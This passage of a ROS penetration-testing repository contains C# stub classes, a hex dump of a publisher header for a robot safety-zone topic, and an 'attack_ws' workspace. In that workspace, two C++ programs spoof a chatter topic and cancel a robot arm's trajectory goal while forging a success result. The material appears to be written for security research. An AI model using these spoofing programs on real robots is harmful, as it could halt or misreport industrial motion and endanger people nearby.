NotImplementedException(); 122 | } 123 | 124 | set 125 | { 126 | throw new NotImplementedException(); 127 | } 128 | } 129 | 130 | public bool Expect100Continue 131 | { 132 | get 133 | { 134 | throw new NotImplementedException(); 135 | } 136 | 137 | set 138 | { 139 | throw new NotImplementedException(); 140 | } 141 | } 142 | 143 | public WebHeaderCollection Headers 144 | { 145 | get 146 | { 147 | throw new NotImplementedException(); 148 | } 149 | } 150 | 151 | public Guid Id 152 | { 153 | get 154 | { 155 | throw new NotImplementedException(); 156 | } 157 | } 158 | 159 | public int Indentation 160 | { 161 | get 162 | { 163 | throw new NotImplementedException(); 164 | } 165 | 166 | set 167 | { 168 | throw new NotImplementedException(); 169 | } 170 | } 171 | 172 | public bool KeepAlive 173 | { 174 | get 175 | { 176 | throw new NotImplementedException(); 177 | } 178 | 179 | set 180 | { 181 | throw new NotImplementedException(); 182 | } 183 | } 184 | 185 | public XmlRpcNonStandard NonStandard 186 | { 187 | get 188 | { 189 | throw new NotImplementedException(); 190 | } 191 | 192 | set 193 | { 194 | throw new NotImplementedException(); 195 | } 196 | } 197 | 198 | public bool PreAuthenticate 199 | { 200 | get 201 | { 202 | throw new NotImplementedException(); 203 | } 204 | 205 | set 206 | { 207 | throw new NotImplementedException(); 208 | } 209 | } 210 | 211 | public Version ProtocolVersion 212 | { 213 | get 214 | { 215 | throw new NotImplementedException(); 216 | } 217 | 218 | set 219 | { 220 | throw new NotImplementedException(); 221 | } 222 | } 223 | 224 | public IWebProxy Proxy 225 | { 226 | get 227 | { 228 | throw new NotImplementedException(); 229 | } 230 | 231 | set 232 | { 233 | throw new NotImplementedException(); 234 | } 235 | } 236 | 237 | public CookieCollection ResponseCookies 238 | { 239 | get 240 | { 241 | throw new NotImplementedException(); 242 | } 243 | } 244 | 245 | public WebHeaderCollection ResponseHeaders 246 | { 247 | get 248 | { 249 | throw new NotImplementedException(); 250 | } 251 | } 252 | 253 | public int Timeout 254 | { 255 | get 256 | { 257 | throw new NotImplementedException(); 258 | } 259 | 260 | set 261 | { 262 | throw new NotImplementedException(); 263 | } 264 | } 265 | 266 | public string Url 267 | { 268 | get 269 | { 270 | throw new NotImplementedException(); 271 | } 272 | 273 | set 274 | { 275 | throw new NotImplementedException(); 276 | } 277 | } 278 | 279 | public bool UseEmptyElementTags 280 | { 281 | get 282 | { 283 | throw new NotImplementedException(); 284 | } 285 | 286 | set 287 | { 288 | throw new NotImplementedException(); 289 | } 290 | } 291 | 292 | public bool UseEmptyParamsTag 293 | { 294 | get 295 | { 296 | throw new NotImplementedException(); 297 | } 298 | 299 | set 300 | { 301 | throw new NotImplementedException(); 302 | } 303 | } 304 | 305 | public bool UseIndentation 306 | { 307 | get 308 | { 309 | throw new NotImplementedException(); 310 | } 311 | 312 | set 313 | { 314 | throw new NotImplementedException(); 315 | } 316 | } 317 | 318 | public bool UseIntTag 319 | { 320 | get 321 | { 322 | throw new NotImplementedException(); 323 | } 324 | 325 | set 326 | { 327 | throw new NotImplementedException(); 328 | } 329 | } 330 | 331 | public bool UseNagleAlgorithm 332 | { 333 | get 334 | { 335 | throw new NotImplementedException(); 336 | } 337 | 338 | set 339 | { 340 | throw new NotImplementedException(); 341 | } 342 | } 343 | 344 | public string UserAgent 345 | { 346 | get 347 | { 348 | throw new NotImplementedException(); 349 | } 350 | 351 | set 352 | { 353 | throw new NotImplementedException(); 354 | } 355 | } 356 | 357 | public bool UseStringTag 358 | { 359 | get 360 | { 361 | throw new NotImplementedException(); 362 | } 363 | 364 | set 365 | { 366 | throw new NotImplementedException(); 367 | } 368 | } 369 | 370 | public Encoding XmlEncoding 371 | { 372 | get 373 | { 374 | throw new NotImplementedException(); 375 | } 376 | 377 | set 378 | { 379 | throw new NotImplementedException(); 380 | } 381 | } 382 | 383 | public string XmlRpcMethod 384 | { 385 | get 386 | { 387 | throw new NotImplementedException(); 388 | } 389 | 390 | set 391 | { 392 | throw new NotImplementedException(); 393 | } 394 | } 395 | public event XmlRpcRequestEventHandler RequestEvent; 396 | public event XmlRpcResponseEventHandler ResponseEvent; 397 | 398 | public void AttachLogger(XmlRpcLogger logger) 399 | { 400 | throw new NotImplementedException(); 401 | } 402 | 403 | 404 | public string[] SystemListMethods() 405 | { 406 | throw new NotImplementedException(); 407 | } 408 | 409 | public string SystemMethodHelp(string MethodName) 410 | { 411 | throw new NotImplementedException(); 412 | } 413 | 414 | public object[] SystemMethodSignature(string MethodName) 415 | { 416 | throw new NotImplementedException(); 417 | } 418 | #endregion 419 | } 420 | } 421 | -------------------------------------------------------------------------------- /RosPenToTest/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /RosPenToTest/res/PublisherHeaderMessage_safety_zone.txt: -------------------------------------------------------------------------------- 1 | Publisher Header Message 2 | 3 | 0x9A, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x63, 0x61, 0x6C, 0x6C, 0x65, 0x72, 0x69, 0x64, 0x3D, 0x2F, 0x4D, 0x6F, 0x63, 0x6B, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x73, 0x68, 0x65, 0x72, 0x0A, 0x00, 0x00, 0x00, 0x6C, 0x61, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x3D, 0x30, 0x27, 0x00, 0x00, 0x00, 0x6D, 0x64, 0x35, 0x73, 0x75, 0x6D, 0x3D, 0x61, 0x35, 0x63, 0x65, 0x39, 0x31, 0x65, 0x36, 0x62, 0x65, 0x62, 0x38, 0x32, 0x33, 0x30, 0x62, 0x31, 0x65, 0x31, 0x37, 0x62, 0x66, 0x35, 0x31, 0x62, 0x39, 0x61, 0x33, 0x34, 0x37, 0x32, 0x65, 0xDF, 0x00, 0x00, 0x00, 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x5F, 0x64, 0x65, 0x66, 0x69, 0x6E, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3D, 0x50, 0x63, 0x70, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x20, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x0A, 0x0A, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x0A, 0x4D, 0x53, 0x47, 0x3A, 0x20, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5F, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x72, 0x2F, 0x50, 0x63, 0x70, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x47, 0x52, 0x45, 0x45, 0x4E, 0x3D, 0x31, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x59, 0x45, 0x4C, 0x4C, 0x4F, 0x57, 0x3D, 0x32, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x52, 0x45, 0x44, 0x3D, 0x33, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x0A, 0x25, 0x00, 0x00, 0x00, 0x74, 0x6F, 0x70, 0x69, 0x63, 0x3D, 0x2F, 0x63, 0x6F, 0x6C, 0x6C, 0x72, 0x6F, 0x62, 0x2F, 0x70, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5F, 0x7A, 0x6F, 0x6E, 0x65, 0x2C, 0x00, 0x00, 0x00, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5F, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x72, 0x2F, 0x50, 0x63, 0x70, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73 4 | 5 | ---------- 6 | 7 | 0x9A, 0x01, 0x00, 0x00, 8 | 0x21, 0x00, 0x00, 0x00, 9 | 0x63, 0x61, 0x6C, 0x6C, 0x65, 0x72, 0x69, 0x64, 0x3D, 0x2F, 0x4D, 0x6F, 0x63, 0x6B, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x73, 0x68, 0x65, 0x72, 10 | callerid=/MockSafetyZonePublisher 11 | 12 | 0x0A, 0x00, 0x00, 0x00, 13 | 0x6C, 0x61, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x3D, 0x30, 14 | latching=0 15 | 16 | 0x27, 0x00, 0x00, 0x00, 17 | 0x6D, 0x64, 0x35, 0x73, 0x75, 0x6D, 0x3D, 0x61, 0x35, 0x63, 0x65, 0x39, 0x31, 0x65, 0x36, 0x62, 0x65, 0x62, 0x38, 0x32, 0x33, 0x30, 0x62, 0x31, 0x65, 0x31, 0x37, 0x62, 0x66, 0x35, 0x31, 0x62, 0x39, 0x61, 0x33, 0x34, 0x37, 0x32, 0x65, 18 | md5sum=0x61, 0x35, 0x63, 0x65, 0x39, 0x31, 0x65, 0x36, 0x62, 0x65, 0x62, 0x38, 0x32, 0x33, 0x30, 0x62, 0x31, 0x65, 0x31, 0x37, 0x62, 0x66, 0x35, 0x31, 0x62, 0x39, 0x61, 0x33, 0x34, 0x37, 0x32, 0x65 19 | md5sum=a5ce91e6beb8230b1e17bf51b9a3472e 20 | 21 | 0xDF, 0x00, 0x00, 0x00, 22 | 0x6D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x5F, 0x64, 0x65, 0x66, 0x69, 0x6E, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3D, 0x50, 0x63, 0x70, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x20, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x0A, 0x0A, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x3D, 0x0A, 0x4D, 0x53, 0x47, 0x3A, 0x20, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5F, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x72, 0x2F, 0x50, 0x63, 0x70, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x47, 0x52, 0x45, 0x45, 0x4E, 0x3D, 0x31, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x59, 0x45, 0x4C, 0x4C, 0x4F, 0x57, 0x3D, 0x32, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x52, 0x45, 0x44, 0x3D, 0x33, 0x0A, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x0A, 23 | message_definition=PcpSafetyZone safetyZone 24 | 25 | ================================================================================ 26 | MSG: safety_zone_checker/PcpSafetyZone 27 | int32 GREEN=1 28 | int32 YELLOW=2 29 | int32 RED=3 30 | int32 safetyZone 31 | 32 | 33 | 0x25, 0x00, 0x00, 0x00, 34 | 0x74, 0x6F, 0x70, 0x69, 0x63, 0x3D, 0x2F, 0x63, 0x6F, 0x6C, 0x6C, 0x72, 0x6F, 0x62, 0x2F, 0x70, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5F, 0x7A, 0x6F, 0x6E, 0x65, 35 | topic=/collrob/perception/safety_zone 36 | 37 | 0x2C, 0x00, 0x00, 0x00, 38 | 0x74, 0x79, 0x70, 0x65, 0x3D, 0x73, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5F, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x72, 0x2F, 0x50, 0x63, 0x70, 0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x5A, 0x6F, 0x6E, 0x65, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73 39 | type=safety_zone_checker/PcpSafetyZoneStatus -------------------------------------------------------------------------------- /catkin_workspaces/attack_ws/.catkin_workspace: -------------------------------------------------------------------------------- 1 | # This file currently only serves to mark the location of a catkin workspace for tool integration 2 | -------------------------------------------------------------------------------- /catkin_workspaces/attack_ws/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # toplevel CMakeLists.txt for a catkin workspace 2 | # catkin/cmake/toplevel.cmake 3 | 4 | cmake_minimum_required(VERSION 3.0.2) 5 | 6 | project(Project) 7 | 8 | set(CATKIN_TOPLEVEL TRUE) 9 | 10 | # search for catkin within the workspace 11 | set(_cmd "catkin_find_pkg" "catkin" "${CMAKE_SOURCE_DIR}") 12 | execute_process(COMMAND ${_cmd} 13 | RESULT_VARIABLE _res 14 | OUTPUT_VARIABLE _out 15 | ERROR_VARIABLE _err 16 | OUTPUT_STRIP_TRAILING_WHITESPACE 17 | ERROR_STRIP_TRAILING_WHITESPACE 18 | ) 19 | if(NOT _res EQUAL 0 AND NOT _res EQUAL 2) 20 | # searching fot catkin resulted in an error 21 | string(REPLACE ";" " " _cmd_str "${_cmd}") 22 | message(FATAL_ERROR "Search for 'catkin' in workspace failed (${_cmd_str}): ${_err}") 23 | endif() 24 | 25 | # include catkin from workspace or via find_package() 26 | if(_res EQUAL 0) 27 | set(catkin_EXTRAS_DIR "${CMAKE_SOURCE_DIR}/${_out}/cmake") 28 | # include all.cmake without add_subdirectory to let it operate in same scope 29 | include(${catkin_EXTRAS_DIR}/all.cmake NO_POLICY_SCOPE) 30 | add_subdirectory("${_out}") 31 | 32 | else() 33 | # use either CMAKE_PREFIX_PATH explicitly passed to CMake as a command line argument 34 | # or CMAKE_PREFIX_PATH from the environment 35 | if(NOT DEFINED CMAKE_PREFIX_PATH) 36 | if(NOT "$ENV{CMAKE_PREFIX_PATH}" STREQUAL "") 37 | if(NOT WIN32) 38 | string(REPLACE ":" ";" CMAKE_PREFIX_PATH $ENV{CMAKE_PREFIX_PATH}) 39 | else() 40 | set(CMAKE_PREFIX_PATH $ENV{CMAKE_PREFIX_PATH}) 41 | endif() 42 | endif() 43 | endif() 44 | 45 | # list of catkin workspaces 46 | set(catkin_search_path "") 47 | foreach(path ${CMAKE_PREFIX_PATH}) 48 | if(EXISTS "${path}/.catkin") 49 | list(FIND catkin_search_path ${path} _index) 50 | if(_index EQUAL -1) 51 | list(APPEND catkin_search_path ${path}) 52 | endif() 53 | endif() 54 | endforeach() 55 | 56 | # search for catkin in all workspaces 57 | set(CATKIN_TOPLEVEL_FIND_PACKAGE TRUE) 58 | find_package(catkin QUIET 59 | NO_POLICY_SCOPE 60 | PATHS ${catkin_search_path} 61 | NO_DEFAULT_PATH NO_CMAKE_FIND_ROOT_PATH) 62 | unset(CATKIN_TOPLEVEL_FIND_PACKAGE) 63 | 64 | if(NOT catkin_FOUND) 65 | message(FATAL_ERROR "find_package(catkin) failed. catkin was neither found in the workspace nor in the CMAKE_PREFIX_PATH. One reason may be that no ROS setup.sh was sourced before.") 66 | endif() 67 | endif() 68 | 69 | catkin_workspace() 70 | -------------------------------------------------------------------------------- /catkin_workspaces/attack_ws/src/demo/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.0.2) 2 | project(demo) 3 | 4 | ## Compile as C++11, supported in ROS Kinetic and newer 5 | # add_compile_options(-std=c++11) 6 | 7 | ## Find catkin macros and libraries 8 | ## if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) 9 | ## is used, also find other catkin packages 10 | find_package(catkin REQUIRED COMPONENTS 11 | actionlib 12 | actionlib_msgs 13 | control_msgs 14 | trajectory_msgs 15 | roscpp 16 | std_msgs 17 | ) 18 | 19 | ## System dependencies are found with CMake's conventions 20 | # find_package(Boost REQUIRED COMPONENTS system) 21 | 22 | 23 | ## Uncomment this if the package has a setup.py. This macro ensures 24 | ## modules and global scripts declared therein get installed 25 | ## See http://ros.org/doc/api/catkin/html/user_guide/setup_dot_py.html 26 | # catkin_python_setup() 27 | 28 | ################################################ 29 | ## Declare ROS messages, services and actions ## 30 | ################################################ 31 | 32 | ## To declare and build messages, services or actions from within this 33 | ## package, follow these steps: 34 | ## * Let MSG_DEP_SET be the set of packages whose message types you use in 35 | ## your messages/services/actions (e.g. std_msgs, actionlib_msgs, ...). 36 | ## * In the file package.xml: 37 | ## * add a build_depend tag for "message_generation" 38 | ## * add a build_depend and a exec_depend tag for each package in MSG_DEP_SET 39 | ## * If MSG_DEP_SET isn't empty the following dependency has been pulled in 40 | ## but can be declared for certainty nonetheless: 41 | ## * add a exec_depend tag for "message_runtime" 42 | ## * In this file (CMakeLists.txt): 43 | ## * add "message_generation" and every package in MSG_DEP_SET to 44 | ## find_package(catkin REQUIRED COMPONENTS ...) 45 | ## * add "message_runtime" and every package in MSG_DEP_SET to 46 | ## catkin_package(CATKIN_DEPENDS ...) 47 | ## * uncomment the add_*_files sections below as needed 48 | ## and list every .msg/.srv/.action file to be processed 49 | ## * uncomment the generate_messages entry below 50 | ## * add every package in MSG_DEP_SET to generate_messages(DEPENDENCIES ...) 51 | 52 | ## Generate messages in the 'msg' folder 53 | # add_message_files( 54 | # FILES 55 | # Message1.msg 56 | # Message2.msg 57 | # ) 58 | 59 | ## Generate services in the 'srv' folder 60 | # add_service_files( 61 | # FILES 62 | # Service1.srv 63 | # Service2.srv 64 | # ) 65 | 66 | ## Generate actions in the 'action' folder 67 | # add_action_files( 68 | # FILES 69 | # Action1.action 70 | # Action2.action 71 | # ) 72 | 73 | ## Generate added messages and services with any dependencies listed here 74 | # generate_messages( 75 | # DEPENDENCIES 76 | # actionlib_msgs# control_msgs# std_msgs 77 | # ) 78 | 79 | ################################################ 80 | ## Declare ROS dynamic reconfigure parameters ## 81 | ################################################ 82 | 83 | ## To declare and build dynamic reconfigure parameters within this 84 | ## package, follow these steps: 85 | ## * In the file package.xml: 86 | ## * add a build_depend and a exec_depend tag for "dynamic_reconfigure" 87 | ## * In this file (CMakeLists.txt): 88 | ## * add "dynamic_reconfigure" to 89 | ## find_package(catkin REQUIRED COMPONENTS ...) 90 | ## * uncomment the "generate_dynamic_reconfigure_options" section below 91 | ## and list every .cfg file to be processed 92 | 93 | ## Generate dynamic reconfigure parameters in the 'cfg' folder 94 | # generate_dynamic_reconfigure_options( 95 | # cfg/DynReconf1.cfg 96 | # cfg/DynReconf2.cfg 97 | # ) 98 | 99 | ################################### 100 | ## catkin specific configuration ## 101 | ################################### 102 | ## The catkin_package macro generates cmake config files for your package 103 | ## Declare things to be passed to dependent projects 104 | ## INCLUDE_DIRS: uncomment this if your package contains header files 105 | ## LIBRARIES: libraries you create in this project that dependent projects also need 106 | ## CATKIN_DEPENDS: catkin_packages dependent projects also need 107 | ## DEPENDS: system dependencies of this project that dependent projects also need 108 | catkin_package( 109 | # INCLUDE_DIRS include 110 | # LIBRARIES demo 111 | # CATKIN_DEPENDS actionlib actionlib_msgs control_msgs roscpp std_msgs 112 | # DEPENDS system_lib 113 | ) 114 | 115 | ########### 116 | ## Build ## 117 | ########### 118 | 119 | ## Specify additional locations of header files 120 | ## Your package locations should be listed before other locations 121 | include_directories( 122 | # include 123 | ${catkin_INCLUDE_DIRS} 124 | ) 125 | 126 | add_executable(malicious_publisher src/MaliciousPublisher.cpp) 127 | target_link_libraries(malicious_publisher ${catkin_LIBRARIES}) 128 | 129 | add_executable(malicious_action_publishers src/MaliciousActionPublishers.cpp) 130 | target_link_libraries(malicious_action_publishers ${catkin_LIBRARIES}) 131 | 132 | ## Declare a C++ library 133 | # add_library(${PROJECT_NAME} 134 | # src/${PROJECT_NAME}/demo.cpp 135 | # ) 136 | 137 | ## Add cmake target dependencies of the library 138 | ## as an example, code may need to be generated before libraries 139 | ## either from message generation or dynamic reconfigure 140 | # add_dependencies(${PROJECT_NAME} ${${PROJECT_NAME}_EXPORTED_TARGETS} ${catkin_EXPORTED_TARGETS}) 141 | 142 | ## Declare a C++ executable 143 | ## With catkin_make all packages are built within a single CMake context 144 | ## The recommended prefix ensures that target names across packages don't collide 145 | # add_executable(${PROJECT_NAME}_node src/demo_node.cpp) 146 | 147 | ## Rename C++ executable without prefix 148 | ## The above recommended prefix causes long target names, the following renames the 149 | ## target back to the shorter version for ease of user use 150 | ## e.g. "rosrun someones_pkg node" instead of "rosrun someones_pkg someones_pkg_node" 151 | # set_target_properties(${PROJECT_NAME}_node PROPERTIES OUTPUT_NAME node PREFIX "") 152 | 153 | ## Add cmake target dependencies of the executable 154 | ## same as for the library above 155 | # add_dependencies(${PROJECT_NAME}_node ${${PROJECT_NAME}_EXPORTED_TARGETS} ${catkin_EXPORTED_TARGETS}) 156 | 157 | ## Specify libraries to link a library or executable target against 158 | # target_link_libraries(${PROJECT_NAME}_node 159 | # ${catkin_LIBRARIES} 160 | # ) 161 | 162 | ############# 163 | ## Install ## 164 | ############# 165 | 166 | # all install targets should use catkin DESTINATION variables 167 | # See http://ros.org/doc/api/catkin/html/adv_user_guide/variables.html 168 | 169 | ## Mark executable scripts (Python etc.) for installation 170 | ## in contrast to setup.py, you can choose the destination 171 | # catkin_install_python(PROGRAMS 172 | # scripts/my_python_script 173 | # DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION} 174 | # ) 175 | 176 | ## Mark executables for installation 177 | ## See http://docs.ros.org/melodic/api/catkin/html/howto/format1/building_executables.html 178 | # install(TARGETS ${PROJECT_NAME}_node 179 | # RUNTIME DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION} 180 | # ) 181 | 182 | ## Mark libraries for installation 183 | ## See http://docs.ros.org/melodic/api/catkin/html/howto/format1/building_libraries.html 184 | # install(TARGETS ${PROJECT_NAME} 185 | # ARCHIVE DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION} 186 | # LIBRARY DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION} 187 | # RUNTIME DESTINATION ${CATKIN_GLOBAL_BIN_DESTINATION} 188 | # ) 189 | 190 | ## Mark cpp header files for installation 191 | # install(DIRECTORY include/${PROJECT_NAME}/ 192 | # DESTINATION ${CATKIN_PACKAGE_INCLUDE_DESTINATION} 193 | # FILES_MATCHING PATTERN "*.h" 194 | # PATTERN ".svn" EXCLUDE 195 | # ) 196 | 197 | ## Mark other files for installation (e.g. launch and bag files, etc.) 198 | # install(FILES 199 | # # myfile1 200 | # # myfile2 201 | # DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION} 202 | # ) 203 | 204 | ############# 205 | ## Testing ## 206 | ############# 207 | 208 | ## Add gtest based cpp test target and link libraries 209 | # catkin_add_gtest(${PROJECT_NAME}-test test/test_demo.cpp) 210 | # if(TARGET ${PROJECT_NAME}-test) 211 | # target_link_libraries(${PROJECT_NAME}-test ${PROJECT_NAME}) 212 | # endif() 213 | 214 | ## Add folders to be run by python nosetests 215 | # catkin_add_nosetests(test) 216 | -------------------------------------------------------------------------------- /catkin_workspaces/attack_ws/src/demo/package.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | demo 4 | 0.0.0 5 | The demo package 6 | 7 | 8 | 9 | 10 | robotics 11 | 12 | 13 | 14 | 15 | 16 | TODO 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | catkin 52 | actionlib 53 | actionlib_msgs 54 | control_msgs 55 | trajectory_msgs 56 | roscpp 57 | std_msgs 58 | actionlib 59 | actionlib_msgs 60 | control_msgs 61 | trajectory_msgs 62 | roscpp 63 | std_msgs 64 | actionlib 65 | actionlib_msgs 66 | control_msgs 67 | trajectory_msgs 68 | roscpp 69 | std_msgs 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /catkin_workspaces/attack_ws/src/demo/src/MaliciousActionPublishers.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "actionlib_msgs/GoalID.h" 3 | #include "actionlib_msgs/GoalStatus.h" 4 | #include "control_msgs/FollowJointTrajectoryActionResult.h" 5 | #include 6 | using namespace std; 7 | 8 | int main(int argc, char **argv) 9 | { 10 | if (argc < 2) 11 | { 12 | cout << "[MaliciousActionPublishers] ... please provide goal ID" << endl; 13 | return 0; 14 | } 15 | string goalID = argv[1]; 16 | 17 | ros::init(argc, argv, "MaliciousActionPublishers"); 18 | ros::NodeHandle nCancel; 19 | ros::NodeHandle nResult; 20 | ros::Publisher cancelPub = nCancel.advertise("followJointTrajectory/cancel", 1000); 21 | ros::Publisher resultPub = nResult.advertise("followJointTrajectory/result", 1000); 22 | ros::Rate loop_rate(10); 23 | actionlib_msgs::GoalID msgCancel; 24 | control_msgs::FollowJointTrajectoryActionResult msgResult; 25 | string key; 26 | 27 | cout << "[MaliciousActionPublishers] ... goal ID: " << goalID << endl; 28 | cout << "[MaliciousActionPublishers] ... do you want to start the attack [y/n]?" << endl; 29 | cin >> key; 30 | 31 | if (key == "y") 32 | { 33 | cout << "[MaliciousActionPublishers] ... canceling goal with ID: " << goalID << endl; 34 | msgCancel.stamp = ros::Time::now(); 35 | msgCancel.id = goalID; 36 | cancelPub.publish(msgCancel); 37 | // ros::spinOnce(); 38 | 39 | cout << "[MaliciousActionPublishers] ... sending fake goal result" << endl; 40 | msgResult.header.seq = 0; 41 | msgResult.header.stamp = ros::Time::now(); 42 | msgResult.status.goal_id.stamp = ros::Time::now(); 43 | msgResult.status.goal_id.id = goalID; 44 | msgResult.status.status = actionlib_msgs::GoalStatus::SUCCEEDED; 45 | msgResult.status.text = "Sepp"; 46 | msgResult.result.error_code = control_msgs::FollowJointTrajectoryResult::SUCCESSFUL; 47 | resultPub.publish(msgResult); 48 | ros::spinOnce(); 49 | } 50 | else if (key == "n") 51 | { 52 | cout << "[MaliciousActionPublishers] ... attack has been aborted" << endl; 53 | } 54 | else 55 | { 56 | cout << "[MaliciousActionPublishers] ... wrong key, terminating..." << endl; 57 | } 58 | 59 | return 0; 60 | } 61 | 62 | 63 | -------------------------------------------------------------------------------- /catkin_workspaces/attack_ws/src/demo/src/MaliciousPublisher.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "std_msgs/String.h" 3 | 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | int main(int argc, char **argv) 9 | { 10 | ros::init(argc, argv, "MaliciousPublisher"); 11 | ros::NodeHandle n; 12 | ros::Publisher chatter_pub = n.advertise("chatter", 1000); 13 | ros::Rate loop_rate(10); 14 | int count = 0; 15 | 16 | cout << "[MaliciousPublisher] ... started publishing" << endl; 17 | 18 | while (ros::ok()) 19 | { 20 | std_msgs::String msg; 21 | std::stringstream ss; 22 | ss << "Message from malicious publisher " << count; 23 | msg.data = ss.str(); 24 | chatter_pub.publish(msg); 25 | ros::spinOnce(); 26 | loop_rate.sleep(); 27 | ++count; 28 | } 29 | 30 | return 0; 31 | } 32 | 33 | 34 | -------------------------------------------------------------------------------- 